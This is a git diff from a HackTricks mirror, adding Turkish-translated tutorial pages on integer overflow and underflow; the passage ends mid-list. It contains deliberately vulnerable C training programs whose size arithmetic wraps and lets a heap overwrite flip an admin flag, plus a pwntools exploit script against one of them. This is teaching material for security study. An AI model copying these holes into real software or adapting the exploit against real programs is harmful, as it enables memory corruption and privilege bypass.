mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/integer-overflow-and-underflow.md',
This commit is contained in:
		
							parent
							
								
									81dfd10302
								
							
						
					
					
						commit
						21377cd5a8
					
				@ -785,7 +785,7 @@
 | 
			
		||||
  - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
 | 
			
		||||
- [Array Indexing](binary-exploitation/array-indexing.md)
 | 
			
		||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
 | 
			
		||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
 | 
			
		||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
 | 
			
		||||
- [Format Strings](binary-exploitation/format-strings/README.md)
 | 
			
		||||
  - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
 | 
			
		||||
  - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
 | 
			
		||||
 | 
			
		||||
							
								
								
									
										368
									
								
								src/binary-exploitation/integer-overflow-and-underflow.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										368
									
								
								src/binary-exploitation/integer-overflow-and-underflow.md
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,368 @@
 | 
			
		||||
# Integer Overflow
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
Bir **integer overflow**'un özü, bilgisayar programlamada veri tiplerinin **boyutu** tarafından konulan sınırlama ve verinin **yorumlanması**dır.
 | 
			
		||||
 | 
			
		||||
Örneğin, bir **8-bit unsigned integer** **0 ile 255** arasındaki değerleri temsil edebilir. Bir 8-bit unsigned integer'a 256 değerini saklamaya çalışırsanız, depolama kapasitesinin sınırı nedeniyle değer 0'a sarar. Benzer şekilde, **16-bit unsigned integer**, **0 ile 65,535** arasındaki değerleri tutabildiği için 65,535'e 1 eklemek değeri tekrar 0'a sarar.
 | 
			
		||||
 | 
			
		||||
Ayrıca, bir **8-bit signed integer**, **-128 ile 127** arasındaki değerleri temsil edebilir. Bunun nedeni, işaret (pozitif veya negatif) için bir bit kullanılması ve büyüklüğü temsil etmek için 7 bit kalmasıdır. En küçük negatif sayı **-128** (ikili `10000000`) olarak temsil edilir ve en büyük pozitif sayı **127** (ikili `01111111`)'dir.
 | 
			
		||||
 | 
			
		||||
Yaygın integer tipleri için maksimum değerler:
 | 
			
		||||
| Tip            | Boyut (bit) | Min Değer          | Max Değer          |
 | 
			
		||||
|----------------|-------------|--------------------|--------------------|
 | 
			
		||||
| int8_t         | 8           | -128               | 127                |
 | 
			
		||||
| uint8_t        | 8           | 0                  | 255                |
 | 
			
		||||
| int16_t        | 16          | -32,768            | 32,767             |
 | 
			
		||||
| uint16_t       | 16          | 0                  | 65,535            |
 | 
			
		||||
| int32_t        | 32          | -2,147,483,648 | 2,147,483,647      |
 | 
			
		||||
| uint32_t       | 32          | 0                  | 4,294,967,295      |
 | 
			
		||||
| int64_t        | 64          | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
 | 
			
		||||
| uint64_t       | 64          | 0                  | 18,446,744,073,709,551,615 |
 | 
			
		||||
 | 
			
		||||
A short, 64-bit sistemlerde `int16_t`'ye; bir int, `int32_t`'ye; ve bir long, `int64_t`'ye eşdeğerdir.
 | 
			
		||||
 | 
			
		||||
### Maksimum değerler
 | 
			
		||||
 | 
			
		||||
Potansiyel **web vulnerabilities** için desteklenen maksimum değerleri bilmek çok ilginçtir:
 | 
			
		||||
 | 
			
		||||
{{#tabs}}
 | 
			
		||||
{{#tab name="Rust"}}
 | 
			
		||||
```rust
 | 
			
		||||
fn main() {
 | 
			
		||||
 | 
			
		||||
let mut quantity = 2147483647;
 | 
			
		||||
 | 
			
		||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
 | 
			
		||||
let (add_result, _) = i32::overflowing_add(1, quantity);
 | 
			
		||||
 | 
			
		||||
println!("{}", mul_result);
 | 
			
		||||
println!("{}", add_result);
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
{{#endtab}}
 | 
			
		||||
 | 
			
		||||
{{#tab name="C"}}
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <limits.h>
 | 
			
		||||
 | 
			
		||||
int main() {
 | 
			
		||||
int a = INT_MAX;
 | 
			
		||||
int b = 0;
 | 
			
		||||
int c = 0;
 | 
			
		||||
 | 
			
		||||
b = a * 100;
 | 
			
		||||
c = a + 1;
 | 
			
		||||
 | 
			
		||||
printf("%d\n", INT_MAX);
 | 
			
		||||
printf("%d\n", b);
 | 
			
		||||
printf("%d\n", c);
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
{{#endtab}}
 | 
			
		||||
{{#endtabs}}
 | 
			
		||||
 | 
			
		||||
## Examples
 | 
			
		||||
 | 
			
		||||
### Pure overflow
 | 
			
		||||
 | 
			
		||||
Basılan sonuç 0 olacaktır çünkü char'ta overflow yaptık:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
 | 
			
		||||
int main() {
 | 
			
		||||
unsigned char max = 255; // 8-bit unsigned integer
 | 
			
		||||
unsigned char result = max + 1;
 | 
			
		||||
printf("Result: %d\n", result); // Expected to overflow
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### İşaretliden İşaretsize Dönüştürme
 | 
			
		||||
 | 
			
		||||
Kullanıcı girdisinden bir işaretli tamsayı okunduğunu ve daha sonra uygun doğrulama yapılmadan işaretsiz tamsayı olarak ele alan bir bağlamda kullanıldığını düşünün:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
 | 
			
		||||
int main() {
 | 
			
		||||
int userInput; // Signed integer
 | 
			
		||||
printf("Enter a number: ");
 | 
			
		||||
scanf("%d", &userInput);
 | 
			
		||||
 | 
			
		||||
// Treating the signed input as unsigned without validation
 | 
			
		||||
unsigned int processedInput = (unsigned int)userInput;
 | 
			
		||||
 | 
			
		||||
// A condition that might not work as intended if userInput is negative
 | 
			
		||||
if (processedInput > 1000) {
 | 
			
		||||
printf("Processed Input is large: %u\n", processedInput);
 | 
			
		||||
} else {
 | 
			
		||||
printf("Processed Input is within range: %u\n", processedInput);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin yorumlanma biçimi nedeniyle bu değer büyük bir işaretsiz tamsayı olarak algılanır ve bu da beklenmeyen davranışlara yol açabilir.
 | 
			
		||||
 | 
			
		||||
### macOS Taşma Örneği
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <stdlib.h>
 | 
			
		||||
#include <stdint.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
#include <unistd.h>
 | 
			
		||||
 | 
			
		||||
/*
 | 
			
		||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
 | 
			
		||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
 | 
			
		||||
*/
 | 
			
		||||
 | 
			
		||||
__attribute__((noinline))
 | 
			
		||||
void win(void) {
 | 
			
		||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
 | 
			
		||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
 | 
			
		||||
exit(0);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
struct session {
 | 
			
		||||
int is_admin;           // Target to flip from 0 → 1
 | 
			
		||||
char note[64];
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
static size_t read_stdin(void *dst, size_t want) {
 | 
			
		||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
 | 
			
		||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
 | 
			
		||||
size_t got = 0;
 | 
			
		||||
 | 
			
		||||
printf("Requested bytes: %zu\n", want);
 | 
			
		||||
 | 
			
		||||
while (got < want) {
 | 
			
		||||
size_t remain = want - got;
 | 
			
		||||
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
 | 
			
		||||
 | 
			
		||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
 | 
			
		||||
if (n > 0) {
 | 
			
		||||
got += (size_t)n;
 | 
			
		||||
continue;
 | 
			
		||||
}
 | 
			
		||||
if (n == 0) {
 | 
			
		||||
// EOF – stop; partial reads are fine for our exploit
 | 
			
		||||
break;
 | 
			
		||||
}
 | 
			
		||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
 | 
			
		||||
perror("read");
 | 
			
		||||
break;
 | 
			
		||||
}
 | 
			
		||||
return got;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
int main(void) {
 | 
			
		||||
setvbuf(stdout, NULL, _IONBF, 0);
 | 
			
		||||
puts("=== Bundle Importer (training) ===");
 | 
			
		||||
 | 
			
		||||
// 1) Read attacker-controlled parameters (use large values)
 | 
			
		||||
size_t count = 0, elem_size = 0;
 | 
			
		||||
printf("Entry count: ");
 | 
			
		||||
if (scanf("%zu", &count) != 1) return 1;
 | 
			
		||||
printf("Entry size: ");
 | 
			
		||||
if (scanf("%zu", &elem_size) != 1) return 1;
 | 
			
		||||
 | 
			
		||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
 | 
			
		||||
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
 | 
			
		||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
 | 
			
		||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
 | 
			
		||||
Then, product32 = 0
 | 
			
		||||
*/
 | 
			
		||||
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
 | 
			
		||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
 | 
			
		||||
 | 
			
		||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
 | 
			
		||||
//    This makes adjacency deterministic (no reliance on system malloc order).
 | 
			
		||||
const size_t SLACK = 512;
 | 
			
		||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
 | 
			
		||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
 | 
			
		||||
if (!arena) { perror("malloc"); return 1; }
 | 
			
		||||
memset(arena, 0, arena_sz);
 | 
			
		||||
 | 
			
		||||
unsigned char *buf  = arena;  // In this buffer the attacker will copy data
 | 
			
		||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
 | 
			
		||||
sess->is_admin = 0;
 | 
			
		||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
 | 
			
		||||
 | 
			
		||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
 | 
			
		||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
 | 
			
		||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
 | 
			
		||||
 | 
			
		||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
 | 
			
		||||
size_t to_copy = count * elem_size;                   // <-- Large size_t
 | 
			
		||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
 | 
			
		||||
 | 
			
		||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
 | 
			
		||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
 | 
			
		||||
printf("[dbg] actually read = %zu bytes\n", got);
 | 
			
		||||
 | 
			
		||||
// 5) Privileged action gated by a field next to the overflow target
 | 
			
		||||
if (sess->is_admin) {
 | 
			
		||||
puts("[dbg] admin privileges detected");
 | 
			
		||||
win();
 | 
			
		||||
} else {
 | 
			
		||||
puts("[dbg] normal user");
 | 
			
		||||
}
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Şununla derleyin:
 | 
			
		||||
```bash
 | 
			
		||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
 | 
			
		||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
 | 
			
		||||
```
 | 
			
		||||
#### Exploit
 | 
			
		||||
```python
 | 
			
		||||
# exploit.py
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
# Keep logs readable; switch to "debug" if you want full I/O traces
 | 
			
		||||
context.log_level = "info"
 | 
			
		||||
 | 
			
		||||
EXE = "./int_ovf_heap_priv"
 | 
			
		||||
 | 
			
		||||
def main():
 | 
			
		||||
# IMPORTANT: use plain pipes, not PTY
 | 
			
		||||
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default
 | 
			
		||||
 | 
			
		||||
# 1) Drive the prompts
 | 
			
		||||
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
 | 
			
		||||
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48
 | 
			
		||||
 | 
			
		||||
# 2) Wait until it’s actually reading the payload
 | 
			
		||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
 | 
			
		||||
 | 
			
		||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
 | 
			
		||||
payload = b"A" * 48 + p32(1)
 | 
			
		||||
 | 
			
		||||
# 4) Send payload, THEN send EOF via half-close on the pipe
 | 
			
		||||
io.send(payload)
 | 
			
		||||
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
 | 
			
		||||
 | 
			
		||||
# 5) Read the rest (should print admin + FLAG)
 | 
			
		||||
print(io.recvall(timeout=5).decode(errors="ignore"))
 | 
			
		||||
 | 
			
		||||
if __name__ == "__main__":
 | 
			
		||||
main()
 | 
			
		||||
```
 | 
			
		||||
### macOS Underflow Örneği
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <stdlib.h>
 | 
			
		||||
#include <stdint.h>
 | 
			
		||||
#include <string.h>
 | 
			
		||||
#include <unistd.h>
 | 
			
		||||
 | 
			
		||||
/*
 | 
			
		||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
 | 
			
		||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
 | 
			
		||||
*/
 | 
			
		||||
 | 
			
		||||
__attribute__((noinline))
 | 
			
		||||
void win(void) {
 | 
			
		||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
 | 
			
		||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
 | 
			
		||||
exit(0);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
struct session {
 | 
			
		||||
int  is_admin;      // flip 0 -> 1
 | 
			
		||||
char note[64];
 | 
			
		||||
};
 | 
			
		||||
 | 
			
		||||
static size_t read_stdin(void *dst, size_t want) {
 | 
			
		||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
 | 
			
		||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
 | 
			
		||||
size_t got = 0;
 | 
			
		||||
printf("[dbg] Requested bytes: %zu\n", want);
 | 
			
		||||
while (got < want) {
 | 
			
		||||
size_t remain = want - got;
 | 
			
		||||
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
 | 
			
		||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
 | 
			
		||||
if (n > 0) { got += (size_t)n; continue; }
 | 
			
		||||
if (n == 0) break;    // EOF: partial read is fine
 | 
			
		||||
perror("read"); break;
 | 
			
		||||
}
 | 
			
		||||
return got;
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
int main(void) {
 | 
			
		||||
setvbuf(stdout, NULL, _IONBF, 0);
 | 
			
		||||
puts("=== Packet Importer (UNDERFLOW training) ===");
 | 
			
		||||
 | 
			
		||||
size_t total_len = 0;
 | 
			
		||||
printf("Total packet length: ");
 | 
			
		||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
 | 
			
		||||
 | 
			
		||||
const size_t HEADER = 16;
 | 
			
		||||
 | 
			
		||||
// **BUG**: size_t underflow if total_len < HEADER
 | 
			
		||||
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
 | 
			
		||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
 | 
			
		||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
 | 
			
		||||
total_len, HEADER, payload_len);
 | 
			
		||||
 | 
			
		||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
 | 
			
		||||
const size_t SLACK = 256;
 | 
			
		||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
 | 
			
		||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
 | 
			
		||||
if (!arena) { perror("malloc"); return 1; }
 | 
			
		||||
memset(arena, 0, arena_sz);
 | 
			
		||||
 | 
			
		||||
unsigned char *buf  = arena;
 | 
			
		||||
struct session *sess = (struct session*)(arena + total_len + 16);
 | 
			
		||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
 | 
			
		||||
sess->is_admin = 0;
 | 
			
		||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
 | 
			
		||||
 | 
			
		||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
 | 
			
		||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
 | 
			
		||||
 | 
			
		||||
puts(">> Send payload bytes (EOF to finish)...");
 | 
			
		||||
size_t got = read_stdin(buf, payload_len);
 | 
			
		||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
 | 
			
		||||
printf("[dbg] actually read = %zu bytes\n", got);
 | 
			
		||||
 | 
			
		||||
if (sess->is_admin) {
 | 
			
		||||
puts("[dbg] admin privileges detected");
 | 
			
		||||
win();
 | 
			
		||||
} else {
 | 
			
		||||
puts("[dbg] normal user");
 | 
			
		||||
}
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Bunu şu komutla derleyin:
 | 
			
		||||
```bash
 | 
			
		||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
 | 
			
		||||
-o int_underflow_heap int_underflow_heap.c
 | 
			
		||||
```
 | 
			
		||||
### Diğer Örnekler
 | 
			
		||||
 | 
			
		||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
 | 
			
		||||
- Parola boyutunu saklamak için sadece 1B kullanılıyor; bu yüzden onu overflow etmek ve gerçek uzunluğu 260 iken sanki 4 olduğunu düşündürerek length check protection'ı bypass etmek mümkün
 | 
			
		||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
 | 
			
		||||
 | 
			
		||||
- Birkaç sayı verildiğinde, z3 kullanarak birinci ile çarpıldığında ikinciyi verecek yeni bir sayı bulun:
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
 | 
			
		||||
- Parola boyutunu saklamak için sadece 1B kullanılıyor; bu yüzden onu overflow etmek ve gerçek uzunluğu 260 iken sanki 4 olduğunu düşündürerek length check protection'ı bypass etmek ve stack'te sonraki yerel değişkenin üzerine yazmak (overwrite) suretiyle her iki korumayı da bypass etmek mümkün
 | 
			
		||||
 | 
			
		||||
## ARM64
 | 
			
		||||
 | 
			
		||||
Bu **ARM64'te değişmiyor**, [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)’da görebileceğiniz gibi.
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
@ -1,115 +0,0 @@
 | 
			
		||||
# Tam Sayı Taşması
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
Bir **tam sayı taşması**nın merkezinde, bilgisayar programlamasındaki veri türlerinin **boyutu** ve verinin **yorumlanması** tarafından dayatılan sınırlama bulunmaktadır.
 | 
			
		||||
 | 
			
		||||
Örneğin, bir **8-bit işaretsiz tam sayı** **0 ile 255** arasındaki değerleri temsil edebilir. Eğer 256 değerini bir 8-bit işaretsiz tam sayıya depolamaya çalışırsanız, depolama kapasitesinin sınırlılığı nedeniyle değer 0'a döner. Benzer şekilde, **0 ile 65,535** arasındaki değerleri tutabilen bir **16-bit işaretsiz tam sayı** için, 65,535'e 1 eklemek değeri tekrar 0'a döndürür.
 | 
			
		||||
 | 
			
		||||
Ayrıca, bir **8-bit işaretli tam sayı** **-128 ile 127** arasındaki değerleri temsil edebilir. Bunun nedeni, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılmasıdır; bu da geriye 7 bitin büyüklüğü temsil etmesi için kalması demektir. En negatif sayı **-128** (ikili `10000000`) olarak, en pozitif sayı ise **127** (ikili `01111111`) olarak temsil edilir.
 | 
			
		||||
 | 
			
		||||
### Maksimum değerler
 | 
			
		||||
 | 
			
		||||
Potansiyel **web güvenlik açıkları** için maksimum desteklenen değerleri bilmek oldukça ilginçtir:
 | 
			
		||||
 | 
			
		||||
{{#tabs}}
 | 
			
		||||
{{#tab name="Rust"}}
 | 
			
		||||
```rust
 | 
			
		||||
fn main() {
 | 
			
		||||
 | 
			
		||||
let mut quantity = 2147483647;
 | 
			
		||||
 | 
			
		||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
 | 
			
		||||
let (add_result, _) = i32::overflowing_add(1, quantity);
 | 
			
		||||
 | 
			
		||||
println!("{}", mul_result);
 | 
			
		||||
println!("{}", add_result);
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
{{#endtab}}
 | 
			
		||||
 | 
			
		||||
{{#tab name="C"}}
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <limits.h>
 | 
			
		||||
 | 
			
		||||
int main() {
 | 
			
		||||
int a = INT_MAX;
 | 
			
		||||
int b = 0;
 | 
			
		||||
int c = 0;
 | 
			
		||||
 | 
			
		||||
b = a * 100;
 | 
			
		||||
c = a + 1;
 | 
			
		||||
 | 
			
		||||
printf("%d\n", INT_MAX);
 | 
			
		||||
printf("%d\n", b);
 | 
			
		||||
printf("%d\n", c);
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
{{#endtab}}
 | 
			
		||||
{{#endtabs}}
 | 
			
		||||
 | 
			
		||||
## Örnekler
 | 
			
		||||
 | 
			
		||||
### Saf taşma
 | 
			
		||||
 | 
			
		||||
Yazdırılan sonuç 0 olacak çünkü char'ı taşırdık:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
 | 
			
		||||
int main() {
 | 
			
		||||
unsigned char max = 255; // 8-bit unsigned integer
 | 
			
		||||
unsigned char result = max + 1;
 | 
			
		||||
printf("Result: %d\n", result); // Expected to overflow
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
### Signed to Unsigned Conversion
 | 
			
		||||
 | 
			
		||||
Kullanıcı girdisinden okunan bir işaretli tam sayının, uygun bir doğrulama olmaksızın, işaretsiz bir tam sayı olarak ele alındığı bir durumu düşünün:
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
 | 
			
		||||
int main() {
 | 
			
		||||
int userInput; // Signed integer
 | 
			
		||||
printf("Enter a number: ");
 | 
			
		||||
scanf("%d", &userInput);
 | 
			
		||||
 | 
			
		||||
// Treating the signed input as unsigned without validation
 | 
			
		||||
unsigned int processedInput = (unsigned int)userInput;
 | 
			
		||||
 | 
			
		||||
// A condition that might not work as intended if userInput is negative
 | 
			
		||||
if (processedInput > 1000) {
 | 
			
		||||
printf("Processed Input is large: %u\n", processedInput);
 | 
			
		||||
} else {
 | 
			
		||||
printf("Processed Input is within range: %u\n", processedInput);
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Bu örnekte, bir kullanıcı negatif bir sayı girerse, bu sayı ikili değerlerin yorumlanma şekli nedeniyle büyük bir işaretsiz tam sayı olarak yorumlanacak ve beklenmedik davranışlara yol açabilir.
 | 
			
		||||
 | 
			
		||||
### Diğer Örnekler
 | 
			
		||||
 | 
			
		||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
 | 
			
		||||
- Parolanın boyutunu saklamak için yalnızca 1B kullanıldığı için, bunu taşırmak ve uzunluğunun 4 olduğunu düşünmesini sağlamak mümkündür, oysa aslında 260'dır ve uzunluk kontrol korumasını atlatır.
 | 
			
		||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
 | 
			
		||||
 | 
			
		||||
- Birkaç sayı verildiğinde, z3 kullanarak ilk sayı ile çarpıldığında ikinci sayıyı veren yeni bir sayı bulun:
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
 | 
			
		||||
- Parolanın boyutunu saklamak için yalnızca 1B kullanıldığı için, bunu taşırmak ve uzunluğunun 4 olduğunu düşünmesini sağlamak mümkündür, oysa aslında 260'dır ve hem uzunluk kontrol korumasını atlatır hem de yığında bir sonraki yerel değişkeni üzerine yazar.
 | 
			
		||||
 | 
			
		||||
## ARM64
 | 
			
		||||
 | 
			
		||||
Bu **ARM64'te değişmez**; [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebileceğiniz gibi.
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
@ -1,46 +1,45 @@
 | 
			
		||||
# Tam Sayı Taşması (Web Uygulamaları)
 | 
			
		||||
# Integer Overflow (Web Applications)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
> Bu sayfa, **tam sayı taşmalarının/kesimlerinin web uygulamalarında ve tarayıcılarda nasıl kötüye kullanılabileceğine** odaklanmaktadır. Yerel ikili dosyalar içindeki istismar ilkeleri için özel sayfayı okumaya devam edebilirsiniz:
 | 
			
		||||
> This page focuses on how **integer overflows/truncations can be abused in web applications and browsers**.  For exploitation primitives inside native binaries you can continue reading the dedicated page:
 | 
			
		||||
>
 | 
			
		||||
>
 | 
			
		||||
{{#ref}}
 | 
			
		||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
 | 
			
		||||
>
 | 
			
		||||
{{#endref}}
 | 
			
		||||
> {{#endref}}
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## 1. Neden tam sayı matematiği web'de hala önemlidir
 | 
			
		||||
## 1. Why integer math still matters on the web
 | 
			
		||||
 | 
			
		||||
Modern yığınlardaki çoğu iş mantığı *bellek güvenli* dillerde yazılmış olsa da, temel çalışma zamanı (veya üçüncü taraf kütüphaneler) nihayetinde C/C++ ile uygulanmaktadır. Kullanıcı kontrolündeki sayılar tamponları ayırmak, ofsetleri hesaplamak veya uzunluk kontrolleri yapmak için kullanıldığında, **32-bit veya 64-bit sarılması, görünüşte zararsız bir parametreyi sınır dışı okuma/yazma, mantık atlaması veya DoS'a dönüştürebilir**.
 | 
			
		||||
Modern yığınlardaki çoğu business-logic *memory-safe* dillerde yazılmış olsa da, altında yatan runtime (veya üçüncü taraf kütüphaneler) sonunda C/C++ ile implement edilir. Kullanıcı kontrollü sayılar buffer tahsisi, offset hesaplama veya uzunluk doğrulamaları için kullanıldığında, **32-bit veya 64-bit wrap-around** görünürde zararsız bir parametreyi out-of-bounds read/write, bir logic bypass veya DoS'e dönüştürebilir.
 | 
			
		||||
 | 
			
		||||
Tipik saldırı yüzeyi:
 | 
			
		||||
 | 
			
		||||
1. **Sayısal istek parametreleri** – klasik id, ofset veya sayı alanları.
 | 
			
		||||
2. **Uzunluk / boyut başlıkları** – Content-Length, WebSocket çerçeve uzunluğu, HTTP/2 continuation_len, vb.
 | 
			
		||||
